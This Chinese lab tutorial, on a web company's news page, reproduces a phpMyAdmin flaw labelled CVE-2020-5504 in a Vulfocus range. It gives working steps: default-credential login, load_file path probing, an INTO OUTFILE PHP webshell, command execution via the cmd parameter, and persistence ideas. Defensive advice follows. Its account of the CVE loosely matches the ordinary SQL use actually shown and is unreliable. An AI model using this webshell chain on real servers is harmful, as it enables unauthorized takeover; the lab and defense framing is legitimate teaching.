尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

保姆级教程:在Vulfocus靶场复现CVE-2020-5504(phpMyAdmin SQL注入到Getshell)

保姆级教程:在Vulfocus靶场复现CVE-2020-5504(phpMyAdmin SQL注入到Getshell)
📅 发布时间:2026/6/30 15:18:06

从零实战:在Vulfocus靶场复现phpMyAdmin SQL注入漏洞

当你第一次打开Vulfocus靶场,面对那个看似普通的phpMyAdmin登录界面时,可能完全想象不到背后隐藏着一个可以让你完全掌控服务器的漏洞。本文将带你从零开始,一步步复现CVE-2020-5504漏洞,从发现漏洞点到最终获取服务器控制权。这不是一个简单的漏洞复现指南,而是一次完整的渗透测试实战演练,特别适合刚接触Web安全的新手。

1. 环境准备与漏洞背景

在开始之前,我们需要先了解这个漏洞的基本情况和所需环境。Vulfocus是一个开源的漏洞靶场平台,它集成了各种常见漏洞环境,让安全研究人员可以在安全的环境中学习和练习漏洞利用技术。

phpMyAdmin作为最流行的MySQL数据库管理工具之一,其安全性一直备受关注。CVE-2020-5504漏洞允许攻击者通过精心构造的SQL查询,绕过部分安全限制,最终实现任意文件写入(也就是我们常说的"写马")。

所需工具清单:

  • 已部署Vulfocus靶场环境(本文使用IP:123.58.224.8:64697为例)
  • 现代浏览器(Chrome/Firefox推荐)
  • 基础SQL知识
  • 一点点耐心

提示:实际操作时,请确保使用自己的Vulfocus实例或获得授权的测试环境,未经授权的渗透测试可能涉及法律问题。

2. 漏洞发现与初步验证

当你首次访问靶场提供的phpMyAdmin界面时,可能会感到无从下手。让我们从最基本的步骤开始:

  1. 在浏览器中访问靶场提供的URL(如:http://123.58.224.8:64697)
  2. 在URL后添加/pma/index.php路径,进入phpMyAdmin登录页面
  3. 使用默认凭证登录(通常为root/123456)

登录后,我们来到了phpMyAdmin的主界面。这里就是漏洞利用的起点。这个版本的phpMyAdmin存在一个关键缺陷:它没有对用户输入的SQL查询进行充分过滤。

验证漏洞存在的简单方法:

SELECT @@version;

如果这个查询能够正常执行并返回MySQL版本信息,说明SQL查询功能可用,为后续利用奠定了基础。

3. 信息收集与路径探测

在能够执行任意SQL查询后,我们需要收集关键系统信息,特别是文件系统路径。这是后续写入Webshell的关键步骤。

3.1 获取数据库路径信息

执行以下查询获取数据库存储路径:

SELECT @@datadir;

这个命令会返回MySQL数据目录的绝对路径,通常是类似/var/lib/mysql这样的路径。虽然这不是我们最终需要的Web目录,但它能帮助我们推断系统的目录结构。

3.2 确定Web根目录

Web根目录是我们需要写入Webshell的目标位置。在不知道确切路径的情况下,我们可以尝试一些常见路径:

SELECT load_file('/var/www/html/index.php');

如果返回大量数据(通常超过4KB),说明这个路径存在且可读。通过反复尝试,我们可以确定完整的Web路径。在我们的靶场环境中,最终确定的路径是/var/www/html/pma/。

注意:在实际渗透测试中,路径可能会因系统配置而异,需要结合系统信息和经验判断。

4. 构造Webshell与写入技巧

有了Web目录的绝对路径,我们就可以尝试写入Webshell了。Webshell是一段能够让我们通过Web接口执行系统命令的PHP代码。

4.1 基本Webshell构造

一个简单的Webshell代码如下:

<?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>

这个代码会通过GET参数cmd接收系统命令,执行后将结果包裹在<pre>标签中输出,保持格式清晰。

4.2 使用INTO OUTFILE写入文件

将Webshell写入目标系统的SQL语句如下:

SELECT '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/shell.php';

执行成功后,我们的Webshell就被写入到了/var/www/html/pma/shell.php路径。

常见问题与解决方案:

  1. 权限问题:如果写入失败,可能是MySQL用户没有目标目录的写权限。可以尝试其他可写目录。
  2. 安全限制:某些系统配置可能限制INTO OUTFILE的使用。可以尝试修改phpMyAdmin配置或寻找其他写入方式。
  3. 路径问题:确保路径正确,特别是注意斜杠方向(Linux使用正斜杠/)。

5. 漏洞利用与系统控制

成功写入Webshell后,我们就可以通过它来执行系统命令了。

5.1 基本命令执行

访问写入的Webshell(如:http://123.58.224.8:64697/pma/shell.php),并通过cmd参数传递命令:

http://123.58.224.8:64697/pma/shell.php?cmd=ls -l /

这将列出根目录下的所有文件和目录,验证我们的Webshell是否正常工作。

5.2 查找flag文件

在CTF和靶场环境中,通常需要找到特定的flag文件。可以尝试以下命令:

find / -name "*flag*" 2>/dev/null

或者在常见位置查找:

ls /tmp/ cat /tmp/flag

5.3 建立更持久的访问

为了更方便地控制系统,可以考虑:

  1. 写入更强大的Webshell(如蚁剑连接用的shell)
  2. 创建反向shell连接
  3. 添加SSH公钥实现免密登录

6. 漏洞原理深度解析

为什么这个漏洞能够被利用?让我们深入分析其技术原理。

6.1 SQL注入点分析

这个漏洞的核心在于phpMyAdmin对用户输入的SQL查询没有进行充分的过滤和检查。虽然phpMyAdmin作为一个数据库管理工具,需要执行用户提供的SQL语句,但它应该限制某些危险操作,如INTO OUTFILE。

6.2 文件写入机制

MySQL的INTO OUTFILE功能原本是为了将查询结果导出到文件,但在这里被滥用来写入任意文件内容。关键在于:

  1. MySQL服务需要有目标目录的写权限
  2. phpMyAdmin配置不能禁用此功能
  3. 攻击者需要知道Web目录的绝对路径

6.3 权限与配置问题

这个漏洞的利用还依赖于一些常见的配置问题:

  1. MySQL服务以高权限账户运行
  2. Web目录和数据库目录权限设置不当
  3. phpMyAdmin的安全配置不严格

7. 防御措施与安全建议

了解如何利用漏洞后,更重要的是知道如何防御。以下是一些有效的安全措施:

服务器加固建议:

  1. 将MySQL服务运行在专用低权限账户下
  2. 严格控制Web目录的写权限
  3. 定期更新phpMyAdmin到最新版本

phpMyAdmin安全配置:

  • 禁用INTO OUTFILE和LOAD_FILE等危险功能
  • 启用双重认证
  • 限制允许访问phpMyAdmin的IP地址

监控与日志:

  • 监控异常的SQL查询,特别是包含INTO OUTFILE的查询
  • 定期检查Web目录下是否有可疑的PHP文件
  • 启用详细的访问日志并定期审计

在实际渗透测试中,每完成一个漏洞利用,都应该思考如何防御它。这种双向思维不仅能帮助你更好地理解漏洞,也能提升你的安全防护能力。

相关新闻

  • 从零搭建Carsim与Simulink联合仿真平台:以ABS系统为例的实战指南
  • 基于DAPLink与OpenOCD的树莓派Pico一站式开发环境搭建
  • Diablo Edit2技术架构深度解析:暗黑破坏神2存档编辑器的二进制数据流处理实现

最新新闻

  • 网络工程师必看:用Wireshark抓包实战解析MPLS LDP的四种消息(附报文详解)
  • Opus 4.8 二次诊断 MRI 结果与医生诊断大不同,该信谁?
  • 魔兽争霸3在Windows 11上卡顿闪退?这款开源工具让你重温经典游戏
  • Three.js 三维转屏幕坐标教程
  • 别再手动调参了!用ModelScope的pipeline,5行代码搞定图像风格迁移与视频修复
  • 学机器视觉,别先纠结 OpenCV、HALCON 还是深度学习

日新闻

  • 【计算机毕业设计案例】基于 Spring Boot+Vue 的电影售票系统设计与实现 前后端分离架构下影院在线购票管理平台(程序+文档+讲解+定制)
  • 到底 TMD 用哪个: npm, pnpm, Yarn, Bun, Deno? 傻瓜, 当然用 npm 啦
  • Google限制Meta使用Gemini模型 凸显AI授权竞争白热化

周新闻

  • Windows字体自定义终极方案:No!! MeiryoUI完全指南
  • Deepin Boot Maker:告别命令行,3分钟制作Linux启动盘的智能解决方案
  • Plain Craft Launcher 2:重新定义你的Minecraft游戏体验

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号